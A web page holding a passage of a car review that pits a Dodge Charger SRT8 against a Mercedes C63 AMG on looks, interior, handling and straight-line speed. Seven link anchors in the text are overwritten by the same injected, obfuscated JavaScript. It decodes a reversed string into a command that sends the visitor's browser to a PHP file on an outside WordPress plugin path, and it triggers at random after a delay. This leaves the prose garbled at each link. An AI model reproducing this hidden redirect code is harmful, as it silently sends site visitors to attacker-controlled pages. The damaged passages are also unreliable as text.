It’s a tough question especially given the presence of the Dodge. We’re not looking for elegance or subtlety here, and it’s just as well, given the Charger’s characterful bonnet bulge, the enormous D-O-D-G-E lettering across the rear fascia and 20-inch Black Vapour Chrome wheels. Stephen King would be thrilled by the menacing glare of the headlights (read ‘Christine’ if you’ve no idea what I’m talking about), and the extended side skirts help convey just how enormous the Charger really is in the flesh. Add one rear spoiler for effect, chuck a heap of black paint at it, and you have Beelzebub’s company car.
There’s a similar story with the Merc in the Diamond White corner. The headlights glare as they should, but sharper body lines, a more aggressively carved front end and front spoiler so gaping that small children will be hovered up without effort, and the menace speaks for itself. It seems ironic then that the rear – with its subtle tail lip spoiler and sensible taillights – gives no impression of this malice at all: squint at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mercedes-e63-amg-a-day-at-the-beach-uae/” target=”_blank”>AMG badge, and you might think you were looking at a normal C-Class. Nothing wrong with that, given the beautiful design of Mercedes’ entry level saloon, but Dodge has got the presence nailed.
Then there’s the interior. It was always going to be tough going mano y mano against the luxurious S-Class makers, and while the Dodge puts up a good fight – with plenty of space and an uncomplicated infotainment system – but the Merc has this round completely sewn up. The leather stitching is excellent, the upholstery magnificent and a superb quality of fixtures and fittings. It’s more practical too, especially when we consider that in the Dodge you have to choose between boot space and the spare wheel. Of course in a normal twin test, that would be all she wrote for the Charger. But here’s a question: when have pseudo-bucket seats, an upgraded infotainment system with satnav and electronic sunscreens front and rear been the bedrock of a muscle car? No doubt the Mercedes-Benz is superbly equipped, but the talking has to be done on the asphalt. Dodge territory.
Or so I thought.
Through the corners the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mercedes-c63-amg-just-three-words/” target=”_blank”>C63 munches the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=dodge” target=”_blank”>Dodge, a stiffer chassis, adaptable suspension, perfect balance and low centre of gravity leave the Merc planted, even if the rears try to step out and pull a smoking on opposite lock. Fortunately the front end remains planted, great heft through the steering – which you can alter thanks to the three-way drive select – means you’re not going to lose the front wheels, but a word of warning. Of course a lively rear end will keep you on high alert, so make sure you’ve had your full eight hours before buckling up. In the SRT8 meanwhile it’s a different ballgame entirely. The steering isn’t as direct, feel for the front end isn’t as sharp and the added weight – with the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=dodge” target=”_blank”>Dodge tipping the scales at 1979kg, some 270kg more than the Merc – means that there’s bodyroll and traces of understeer through the corners. The grippy tyres try their best to hold you in place but it’s a losing battle, the much longer Charger outmatched by the nippier $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mercedes-e63-amg-a-day-at-the-beach-uae/” target=”_blank”>AMG through the corners. Even the brakes take time to get used to, limited travel in the pedal and a wooden feel making it difficult to find the sweetspot.
A European saloon demoralising an American muscle car through the corners is hardly ‘stop the presses’ news. What does surprise though is the sheer speed of the C 63 AMG in a straight line. Off the line, the sheer ferocity of the Merc’s 457hp and lower end torque mean the tyres bite (once they’ve stopped squealing in anguish), the odometer needle goes mental, and the C 63 launches itself forward with a blast of V8 soundtrack. Even despite the additional 13hp, the weight and higher optimised torque means the pick-up in the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=dodge” target=”_blank”>Dodge is less ferocious than the AMG’s, and though the manner in which the bonnet rises as the saloon begins it’s charge is immensely entertaining, Charger has been bettered on home turf – the strip – and that’s a massive blow for Detroit.
STORY CONCLUDES ON PAGE 3
